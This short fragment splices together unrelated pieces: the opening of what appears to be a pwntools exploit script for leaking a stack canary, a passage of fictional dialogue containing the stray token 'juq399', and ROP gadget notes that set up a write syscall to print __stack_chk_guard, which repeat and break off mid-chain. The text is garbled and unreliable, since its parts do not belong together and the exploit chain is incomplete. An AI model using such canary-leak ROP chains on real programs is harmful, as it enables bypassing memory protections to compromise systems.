# ------------------------------------------------- # Stage 1 – leak canary # ------------------------------------------------- p = process(binary)
"Returns of attention," he replied. "Of small courtesies and shared places. The city forgets them. We carry them and put them where others can find them. You found juq399 because you remember." juq399
pop rdi ; ret ; rdi = 1 (stdout) pop rsi ; pop r15 ; ret; rsi = &__stack_chk_guard pop rdx ; ret ; rdx = 8 mov rax, 1 ; ret ; syscall number for write (or use a libc write) syscall ; ret rdi = 1 (stdout) pop rsi